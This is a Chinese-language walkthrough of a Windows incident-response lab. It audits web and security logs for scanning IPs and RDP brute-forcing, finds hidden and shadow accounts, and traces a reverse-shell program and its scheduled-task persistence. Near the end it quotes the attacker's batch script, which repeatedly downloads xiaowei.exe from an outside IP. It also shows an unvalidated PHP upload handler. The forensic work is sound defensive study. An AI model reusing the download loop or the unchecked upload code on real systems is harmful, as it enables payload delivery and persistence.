原文:https://mp.weixin.qq.com/s/eJpsOeaEczcPE-uipP7vCQ

题目:

  1. 审计桌面的logs日志,定位所有扫描IP,并提交扫描次数

  2. 审计相关日志,提交rdp被爆破失败次数

  3. 审计相关日志,提交成功登录rdp的远程IP地址,多个以&连接,以从小到大顺序排序提交

  4. 提交黑客创建的隐藏账号

  5. 提交黑客创建的影子账号

  6. 黑客植入了一个远程shell,审计相关进程和自启动项提交该程序名字

  7. 提交远程shell程序的连接IP+端口,以IP:port方式提交 8

  8. 黑客使用了计划任务来定时执行某shell程序,提交此程序名字

审计桌面的logs日志,定位所有扫描IP,并提交扫描次数 【6385】

image-20240822184728846

进入桌面日志,我们可以看到这两个文件,一个access.log和error.log

  • access_log:指的是访问日志,我们通过访问日志可以获取用户的 IP、请求处理的时间、浏览器信息等
  • error_log:错误日志记录了访问出错的信息,可以用于定位错误的原因

访问不一定都成功,所以要结合上error_log,error是在服务出问题,比如出现500/502/504之类的故障才写入

简单看了下网站,是一个购物打的cms

image-20240822190346989

观察日志特征,127.0.0.1为本地IP,搭建后进行测试,192.168.150.1后面的url为业务站点IP(此处可以自行开启phpstudy进行测试),后面发现大量ip地址为192.168.150.67的地址访问网站,这里想把文件复制出来,结果装不了vmtools,简单搭建个文件上传的网站试试

<!DOCTYPE html>
<html>
<head>
<title>文件上传</title>
</head>
<body>
<h1>文件上传</h1>
<form enctype="multipart/form-data" method="post" action="upload.php">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
</body>
</html>

后台

<?php

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$targetDir = "uploads/";
$targetFile = $targetDir . basename($_FILES["file"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($targetFile, PATHINFO_EXTENSION));

// 检查文件是否已存在
if (file_exists($targetFile)) {
echo "文件已存在。";
$uploadOk = 0;
}
// 检查 $uploadOk 是否为 0
if ($uploadOk == 0) {
echo "文件未上传。";
} else {
if (move_uploaded_file($_FILES["file"]["tmp_name"], $targetFile)) {
echo "文件 " . basename($_FILES["file"]["name"]) . " 上传成功。";
} else {
echo "文件上传失败。";
}
}
}
?>

然后用phpstom简单起个服务器即可,然后在虚拟机访问下页面进行文件上传,然后移动到cmder目录下分析,发现192.168.150.67有这种访问敏感文件的行为

image-20240822194757163

字典扫描,漏扫的特征,404等,确定这就是恶意扫描的IP

image-20240822194851743

image-20240822194941196

还发现192.168.150.33有nmap扫描行为

image-20240822195102623

判断这是傀儡机对web端口进行的web探测,目前已知这两个IP为扫描特征,再往下看没什么特征了,而且这是在模拟,数据少,实战中这样看眼花也找不出来。我们可以先看下全部有多少ip访问这个网站

awk '{print $1}' access.log | sort | uniq -c | sort		

这条指令是一个典型的用于对文本进行统计和排序的命令链。让我们逐步解析这条命令:

  1. awk '{print $1}' access.log: 这部分使用 awk 命令,它是一个用于处理文本和数据流的强大工具。'{print $1}' 意味着对文件 access.log 中的每一行进行处理,只打印出每行的第一个字段。
  2. | sort: 这里使用了管道符 |,它将 awk 命令的输出传递给 sort 命令。sort 命令用于对输入进行排序,默认是按照字母顺序升序排列。
  3. | uniq -c: 这里再次使用了管道符,将 sort 命令的输出传递给 uniq -c 命令。uniq -c 会对相邻的重复行进行去重,并且统计重复行出现的次数。
  4. | sort: 最后一个 sort 命令对 uniq -c 的输出进行排序,这样统计结果将按照重复次数进行排序,从而展示出重复次数最多的行在前面。

综合起来,这条命令的作用是从 access.log 中提取每行的第一个字段,然后统计每个字段出现的次数,并按照次数从高到低进行排序,最终输出结果。

image-20240822200055224

以IP的为基准进行排序,看到192.168.150.67扫描最多,我们将它和192.168.150.33进行相加得出共扫描次数为6385

审计相关日志,提交rdp被爆破失败次数 【2594】

通过事件日志进行查看,快捷键WIN+R输入 ‘eventvwr.msc’ 进入事件查看,点击安全,可以看到账户类操作日志,我们同样保存下来,日志机上有log parser,直接在日志机上分析即可,先导出Securtiy.evtx,但后续测试好像不行,还是传到本机上吧

登录失败的所有事件:
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx where EventID=4625"

1724378311142

这个扫出来好像有点不对,直接在里面筛选的话,除去自己登陆的那一条,和答案是一样的2594

image-20240823095937412

换了一下参数4625,前面那句好像没有进行统计

LogParser.exe -i:EVT -o:DATAGRID "SELECT COUNT(*) AS TotalFailedLogins FROM ./uploads/Security.evtx WHER
E EventID=4625"

image-20240823100854393

审计相关日志,提交成功登录rdp的远程IP地址,多个以&连接,以从小到大顺序排序提交[1,128,178]

LogParser.exe -i:EVT -o:DATAGRID "SELECT DISTINCT EXTRACT_TOKEN(Strings, 18, '|') AS RemoteIPAdd
ress FROM Security.evtx WHERE EventID=4624"

image-20240823103527112

我这里以为除了回环地址应该还有个33的主机,这里4624应该是所有账户登陆成功的消息,而后面说的4648是用明确的凭证登陆,这个才是查看远程登陆的正则,我们应该按照这个找,我去自带的筛选器里手动查了一下

image-20240823104140278

除了回环地址确实是1、128、178

LogParser.exe -i:EVT -o:DATAGRID "SELECT DISTINCT EXTRACT_TOKEN(Strings, 12, '|') AS RemoteIPAdd
ress FROM Security.evtx WHERE EventID=4648"

image-20240823104613212

提交黑客创建的隐藏账号{hacker$}

查看注册表,Win+R regedit,也可以用cmd的reg query直接查,但是要以管理员身份模式启动,还有lusrmgr.msc方法很多。

reg query HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

image-20240823110411424

image-20240823110850382

image-20240823110952780

这里hackers$是影子账号,作者的原意应该是没有的,他也不知道为什么删不掉,不过下一题就是问这个的了

提交黑客创建的影子账号{hackers$}

影子账号真实环境中是无法在用户组/netuser/用户面板中看到,但是可以在注册表中看到并删除

image-20240823112014638

对这两个目录进行删除,再去刚刚的用户/组 查看将没有了

image-20240823140843802

正常来讲,影子用户确实除注册表,其它地方看不到的,这里可能我操作有问题

当然了,在桌面Dsafe目录下有D盾工具,使用管理员权限运行后,可以快速查询到本系统中存在的影子用户和克隆账户

image-20240823141059209

提交远程shell程序的连接IP+端口,以IP:port方式提交{185.117.118.21:4444}

使用netstat -nao查看到相应的端口状态,在后面看到可疑连接

image-20240823141339748

有对外连接的ip,下面两个是80端口,应该是正常的http页面,而4444端口则有可能是shell程序的连接端口

可看到对外连接不少的互联网IP,排查思路如下

1. 根据外联IP地址进行排查,在情报平台进行查询
2. 根据端口进行排查,通常大端口或有特殊意义端口要确认
3. 依次根据PID进行排查

image-20240823150147828

黑客植入了一个远程shell,审计相关进程和自启动项提交该程序名字flag{xiaowei.exe}

开机就外联了,这个时候我们应该联想到自启动,一般排查以下

  1. C:\Users\winlog\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 快捷命令:WIN+R shell:startup 将预自启动程序放入目录,会自启

  2. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 注册表自启动:快捷键:WIN+R regedit 将绝对路径下程序进行字符串值保存会开机自启

  3. 搜索计划任务,进入任务计划程序,查看相关启动程序

查看下注册表的时候你其实可以看到上次开目录还记录着。。。。

image-20240823150718140

当然了,在排查这些之前,我们需要知道在跑的程序是哪个,已知PID为2756

image-20240823150825217

tasklist | findstr "2756"

image-20240823150906484

使用以上命令查看到启动的文件为xiaowei.exe,但是不知道绝对路径如何处置

wmic process get name,executablepath,processid | findstr 2756

image-20240823151247678

当然了,我们也可以使用 netstat -naob查看进程的启动程序和端口

image-20240823151329259

将xiaowei.exe文件拖出来,拿到ida或者微步沙箱去看一下,明显的木马特征和Cobalt特征

image-20240823152503518

image-20240823152617488

黑客使用了计划任务来定时执行某shell程序,提交此程序名字

照实战中,攻击队或黑客为了权限维持,不会只放一个远控工具,一般会埋雷进行启动计划任务,根据上方思路排查到,计划任务程序中存在的计划

image-20240823152957393

在每天的晚上23点07会进行下载xiaowei.exe文件,点进去查看执行的程序,可看到执行绝对路径

image-20240823153028704

查看这个bat脚本,最后得到执行全过程,确认下载了xiaowei.exe文件到相关目录,最后每次开机自启xiaowei.exe文件上线

image-20240823153129897

@echo off
:loop
echo Requesting download from 185.117.118.21:1111/xiaowei.exe...
start /b powershell -Command "Invoke-WebRequest -Uri 'httpL//185.117.118.21/xiaowei.exe'"
timeout /t 300 /nobreak >nul
gotp loop